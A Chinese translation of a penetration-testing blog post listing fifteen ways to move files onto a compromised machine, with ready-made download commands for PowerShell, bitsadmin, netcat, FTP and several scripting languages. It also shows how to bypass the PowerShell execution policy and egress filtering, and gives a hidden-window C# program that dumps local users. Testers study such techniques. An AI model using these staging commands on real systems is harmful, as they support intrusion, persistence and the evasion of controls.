15种下载文件的方法

article/2025/8/24 11:02:49

转载:https://blog.netspi.com/15-ways-to-download-a-file/
瑞恩甘德鲁德
原创时间:2014年6月16日

Pentesters经常将文件上传到受感染的盒子以帮助进行权限提升,或者保持在计算机上的存在。本博客将介绍将文件从您的计算机移动到受感染系统的15种不同方法。对于那些在盒子上存在且需要开发后选项的渗透测试人员以及只想移动文件的系统管理员来说,这应该是有趣的。

在测试期间还有许多其他方法可以将文件移动到机器上,但是这个列表包括了我的一些最爱。以下是本博客中介绍的文件传输技术的摘要。

1. PowerShell文件下载
2. Visual Basic文件下载
3. Perl文件下载
4. Python文件下载
5. Ruby文件下载
6. PHP文件下载或上传
7. FTP文件下载
8. TFTP文件下载
9. Bitsadmin文件下载
10. Wget文件下载
11. Netcat文件下载
12. Windows共享文件下载
13. 记事本对话框文件下载
14. 使用PowerShell和Nishang执行文本,文本到EXE
15. Csc.exe从源文件编译

注意:通过SQL注入执行命令时,列出的许多技术也应被视为选项。对于多行步骤,将命令ECHO到文件,然后执行该文件。

1. PowerShell文件下载

PowerShell是管理员可以忽略的一种脚本语言。但是,它可以为知道如何使用它的人提供过多的选项和功能。最大的好处是它从Windows Server 2003开始就是Windows的原生。下面是一个简单脚本的示例,可用于从Internet上的Web服务器将文件下载到本地文件系统:

$p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file" "C:%homepath%file") 

要执行此脚本,请在PowerShell窗口中运行以下命令:

PS C:> .test.ps1

有时,PowerShell执行策略设置为受限制。在这种情况下,您将无法通过PowerShell执行命令或脚本…除非您使用以下命令将其设置为不受限制:

C:>powershell set-executionpolicy unrestricted

2. Visual Basic文件下载

自1998年以来,Visual Basic的最终版本已经成为Windows机器的标准配置。以下脚本可以下载您选择的文件。但是,该脚本比PowerShell脚本大得多。

Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm     .type = 1 '     .open     .write xHttp.responseBody     .savetofile " C:%homepath%file", 2 ' end with

Cscript是一个命令行Windows脚本宿主,允许您传递命令行选项并允许您设置脚本属性。没有必要使用它来在Windows 7和其他可能的程序中运行vbs脚本,但使用它可以让脚本在Windows XP及更高版本的计算机上运行。

要执行此脚本,请在命令shell中运行以下命令:

C:>cscript test.vbs

以下四种语言对于Windows机器来说是非本机语言。但是,如果您发现其上安装了任何这些语言的计算机(无论操作系统如何),您都可以利用这些脚本下载文件。

3. Perl文件下载

Perl是一种非常通用的脚本语言,几乎可以用于任何事情。使用Perl可以非常轻松地将文件下载到本地主机上。

#!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");

要执行此脚本,请在命令shell中运行以下命令:

root@kali:~# perl test.pl

4. Python文件下载

Python是一种通用脚本语言,强调代码可读性。与大多数脚本语言一样,目标是编写比编程语言所需的代码少的代码,同时仍然完成预期的任务。

#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()

要执行此脚本,请在命令shell中运行以下命令:

root@kali:~# python test.py

5. Ruby文件下载

Ruby是一种面向对象的编程语言,可以用于创建框架(想想Metasploit)到简单的任务(如下载文件)。

#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }

要执行此脚本,请在命令shell中运行以下命令:

root@kali:~# ruby test.rb

6. PHP文件下载

PHP通常是用于Web开发的服务器端脚本语言,但也可以用作通用脚本语言。

#!/usr/bin/php <?php         $data = @file("http://example.com/file");         $lf = "local_file";         $fh = fopen($lf, 'w');         fwrite($fh, $data[0]);         fclose($fh); ?>

要执行此脚本,请在命令shell中运行以下命令:

root@kali:~# php test.php

除非另有说明,否则将文件移动到目标计算机上的其余方法是通过本机操作系统功能。其中一些需要比其他步骤更多的步骤,但可以在不同的场景中使用以绕过某些限制。

7. FTP文件下载

对于此方法,攻击者希望将FTP命令回显到bash脚本,因为它通常需要用户交互才能输入用户名和密码。然后可以运行此bash脚本以在不需要交互的情况下运行所有​​步骤。

ftp 127.0.0.1 username password get file exit

8. TFTP文件下载

默认情况下,Windows Vista及更低版本中提供了一些简单的FTP。请注意,您必须设置要连接的相应服务器。它可以使用以下命令运行:

tftp -i host GET C:%homepath%file location_of_file_on_tftp_server

9. Bitsadmin文件下载

Bitsadmin是一个Windows命令行工具,允许用户创建下载或上传任务。

bitsadmin /transfer n http://domain/file c:%homepath%file

10. Wget文件下载

Wget是一个Linux和Windows工具,允许非交互式下载。

wget http://example.com/file

11. Netcat文件下载

Netcat可以通过连接到特定的侦听端口来允许下载文件,该端口将通过连接传递文件的内容。请注意,此示例是特定于Linux的。

在攻击者计算机上,键入:

cat file | nc -l 1234

这将把文件的内容打印到本地端口1234.然后,只要有人连接到该端口,文件的内容就会被发送到连接IP。

应在攻击者所针对的计算机上运行以下命令:

nc host_ip 1234 > file

这会将目标连接到攻击者的计算机并接收将通过连接发送的文件。

12. Windows共享文件下载

Windows共享可以安装到驱动器号,然后可以通过后续复制命令复制文件。

要安装远程驱动器,请键入:

net use x: \127.0.0.1share /user:example.comuserID myPassword

13. 记事本对话框文件下载

如果您对计算机具有访问权限(RDP,物理等),但您的用户权限不允许您打开Web浏览器,则可以使用此技巧从URL或通用命名约定快速下载文件(UNC)路径。当您突破在终端上运行的锁定应用程序时,这也很有效。

打开记事本
转到文件 - 打开
在底部附近的“文件名”框中,键入文件的完整URL路径
在这里插入图片描述记事本非常友好,可以为您提供此文件的内容

14. 使用PowerShell和Nishang将Exe转换为Txt,将Txt转换为Exe

这可能是我在尝试将exe移动到机器时使用的最喜欢的工具之一。Nishang允许您将exe转换为十六进制,然后使用PowerShell将十六进制重组为原始exe。我看到组策略不允许通过RDP剪贴板传输exes。虽然它提供了基本的保护,但它(有时)仍然允许通过剪贴板复制文本的能力。在这种情况下,您可以将Nishang PowerShell源复制到该框中的文件,并将扩展名重命名为.ps1。要复制的Nishang脚本是TexttoExe.ps1,它只有8行。你可以在这里下载Nishang。

要将exe转换为hex文件,请键入:

PS > .ExetoText.ps1 evil.exe evil.txt

打开evil.txt文件并复制内容。然后使用RDP剪贴板将内容粘贴到目标计算机。对Nishang中TexttoExe.ps1文件的内容执行相同操作。

要将hex文件转换回exe,请键入:

PS > .TexttoExe.ps1 evil.text evil.exe

这将导致您的邪恶exe被成功移动到目标机器。

15. Csc.exe从文件编译源代码

C sharp compiler(csc)是Windows中Microsoft .NET安装中包含的命令行编译器。如果您无法复制可执行文件,但仍可以复制文本,这可能很有用。使用此方法,结合SQL注入,可以将exe移动到框中,而不必尝试绕过可能阻止出站连接的出口过滤器或经过身份验证的代理。

此可执行文件的默认位置如下:

C:WindowsMicrosoft.NETFrameworkversion

使用以下示例代码,已编译的可执行文件将使用cmd.exe查询框中的本地用户,并将结果写入C:Temp目录中的文件。这显然可以修改为与盒子上的不同exe进行交互,或者完全重写以使用您自己的漏洞利用代码。

public class Evil {    public static void Main()    {       System.Diagnostics.Process process = new System.Diagnostics.Process(); 	  System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); 	  startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; 	  startInfo.FileName = "cmd.exe"; 	  startInfo.Arguments = "/C net users > C:\Temp\users.txt"; 	  process.StartInfo = startInfo; 	  process.Start();    } }

要编译源代码,请键入:

csc.exe /out:C:evilevil.exe C:evilevil.cs

出自:https://blog.netspi.com/15-ways-to-download-a-file/
引申:https://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line


http://chatgpt.dhexx.cn/article/AVxYgRYu.shtml

相关文章

【基础知识】---概率密度函数和似然函数的区别

这个是quora上的一个回答 What is the difference between probability and likelihood? 在评论中这位老师将概率密度函数和似然函数之间的关系&#xff0c;类比成 2b 和 a2 之间的关系。详细翻译如下&#xff1a; 2我们可以做一个类比&#xff0c;假设一个函数为 ab&#x…

概率论考点之多维随机变量及密度函数

如题&#xff1a;2019年10月 分析&#xff1a;概率论是最初要考的一个科目&#xff0c;看了好几遍了吧&#xff0c;总还是没印象。可见别人讲得再天花乱坠&#xff0c;自己不懂&#xff0c;一点用都没有&#xff0c;白白浪费时间。知识&#xff0c;要靠自己去掌握。 还是借此顺…

最大最小次序统计量密度函数的推导

今天在推导最小统计量时出现了一些错误。及时分享出来&#xff0c;和朋友们一起反思进步。 我的错误是&#xff1a;分布函数的定义搞错了。我一心想着让所有样本都大于x&#xff08;1&#xff09;所以在原本是小于等于的位置写成了大于&#xff0c;推导最后多出一个负号。 反思…

矩阵分析与应用-06-概率密度函数01

概率密度函数 实随机向量的概率密度函数 一个含有m 个随机变量的实值向量 称为mx1实随机向量&#xff0c;或简称随机向量(当维数无关紧要时)。其中&#xff0c;表示样本点&#xff0c;可以是时间&#xff0c;频率&#xff0c;或者位置等。 一个随机向量由它的联合累积分布函…

概论_第3章_二维随机变量_已知概念密度函数求分布函数

首先看定义 一 定义 设二维随机变量(X, Y)的分布函数为F(x, y), 若存在非负可积函数f(x, y), 使得对任意的实数 x, y, 有 ,则称(X, Y)为二维连续型随机变量&#xff0c; 称f(x, y)为(X, Y)的概率密度或X与Y的联合密度函数。 二 例题 题 1 设二维随机变量(X, Y)的概率密度为 , 求…

概论_第3章_已知联合密度求边缘密度

一 例题 设二维随机变量(X, Y)的概率密度为 &#xff0c; 求边缘概率密度。 解&#xff1a; 先画图 所以, X的边缘密度为 Y的边缘密度为 总结: 求X的边缘密度 是对y求积分&#xff0c; 会带上dy, 因此要确定y的上下限&#xff0c; 注意确定上下限 时作一个垂直于x轴的箭头线…

联合密度分布

最近参与翻译的一本书&#xff0c;以下是我翻译的其中一章&#xff0c;其余可以阅读 https://github.com/apachecn/prob140-textbook-zh 英文原文&#xff1a;https://nbviewer.jupyter.org/github/prob140/textbook/tree/gh-pages/notebooks/ 17. 联合密度 我们现在开始研…

连续型随机变量+分布函数+密度函数+联合分布函数

1.先验知识 连续型随机变量&#xff1a; 随机变量 X 取值无法全部列举。 数学定义&#xff1a; 随机变量 X&#xff0c;存在一个非负可积函数 f(t) ,使得对任意 x ,有 则称 X 为连续型随机变量。其中 f(t) 为 X 的概率密度函数。 概率分布函数&#xff08;简称&#xff1a;分布…

联合密度函数求期望_联合密度函数的数学期望怎么求

展开全部 数学期望是试验中每次可能结果的概率636f707962616964757a686964616f31333433623039乘以其结果的总和。 计算公式&#xff1a; 1、离散型&#xff1a; 离散型随机变量X的取值为X1、X2、X3……Xn&#xff0c;p(X1)、p(X2)、p(X3)……p(Xn)、为X对应取值的概率&#xff…

概率论

概率论 概率的性质 减法公式 A-BAB的逆 应用 画图更简单 abc至少有一个发生表示 P(A并B并C) P&#xff08;ABC&#xff09;《P&#xff08;AB&#xff09;0 条件概率的性质 应用 古典概型 应用: 不放回抽样 全概率公式和贝叶斯公式 全概率公式的使用条件:A事件可以被多个事…

20、PPP协议

前面我们分了五节的内容&#xff0c;用了很大的篇幅介绍了局域网的数据链路层的知识&#xff0c;在这其中主要是以太网的相关内容。本节开始我们学习广域网的数据链路层协议&#xff0c;主要学习两种&#xff0c;PPP和HDLC。 PPP协议的特点 PPP全称“Point-to-Point Protocol”…

PPP协议和HDLC协议

广域网 广域网&#xff08;WAN&#xff0c;Wide Area Network&#xff09;&#xff0c;通常跨接很大的物理范围&#xff0c;所覆盖的范围从几十公里到几千公里&#xff0c;它能连接多个城市或国家&#xff0c;或跨越几个洲并能提供远距离通信&#xff0c;形成国际性的远程网络…

PPP协议的简单了解

一.PPP协议的概述&#xff1a;、 PPP协议&#xff0c;即点对点协议&#xff08;应用在直接相连的两个结点的链路上&#xff09;&#xff0c; 全称&#xff1a;Point-to-Point Protocol PPP协议使用的是串行线路通信&#xff0c;面向字节。 设计目的&#xff1a;建立建立点对点…

数据链路层的PPP协议

互联网用户通常都要连接到某个ISP才能接入到互联网。PPP协议就是用户计算机和ISP进行通信时所使用的数据链路层协议。 PPP协议有三个组成部分: &#xff08;1&#xff09;一个将IP数据报封装到串行链路的方法。PPP既支持异步链路&#xff08;无奇偶检验的8比特数据&#xff09…

PPP协议基础与工作流程

PPP概述 简介&#xff1a; PPP是点到点链路上承载网络层数据报文的一种链路层协议&#xff0c;如路由器中的Serial接口链路缺省运行的协议就是PPP&#xff0c;当然能够允许PPP的远不止Serial这一种端口&#xff0c;其他例如Dialer&#xff0c;虚拟模板接口等都可以运行&#x…

ppp协议过程

PPP协议------点到点协议 1&#xff0c;兼容性强&#xff0c;有统一的版本&#xff0c;并且只要是支持全双工的串线&#xff0c;都可用ppp协议进行封装。&#xff08;全双工两点间A可以给B发信息&#xff0c;B也可以给A发信息&#xff0c;且可以同时发&#xff09; 2&#xff0…

ppp 协议简介

1 点对点协议PPP&#xff08;Point-to-Point Protocol&#xff09; PPP(Point-to-Point Protocol)&#xff0c;链路层协议。PPP是为了在点对点物理链路(例如RS232串口链路、电话ISDN线路等)上传输OSI模型中的网络层报文而设计的&#xff0c;它改进了之前的一个点对点协议-SLIP…

PPP协议

目录 PPPPPP成员协议PPP建立流程PPP状态机PPP认证方式 PPP 点对点协议PPP也称P2P&#xff0c;主要用在全双工的同异步链路上进行点到点的数据传输。 PPP成员协议 链路控制协议&#xff08;LCP&#xff09;&#xff1a;用来建立、拆除和监控PPP数据链路。LCP包括的参数有最大…

PPP协议简述

1. 发展&#xff1a; SLIP(Serial Line Internet Protocol)协议&#xff0c;人们不仅可以通过在计算机上安装该协议实现浏览Internet的梦想&#xff0c;而且还可以互连许多网络设备(如路由器与路由器的互连、路由器与主机的互连和主机与主机的互连)。 日益增长的网络需求&…

PPP协议(详解)

目录 PPP协议概述PPP协议的组成 PPP协议的帧格式标志字段字节填充比特填充透明传输 地址字段和控制字段协议字段有效数据部分帧检验序列FCS字段 PPP协议的工作状态LCP协议编码标识长度选项 鉴别协议口令鉴别协议PAP查询握手鉴别协议CHAP 网络控制协议NCPIPCP协议 PPP协议概述 …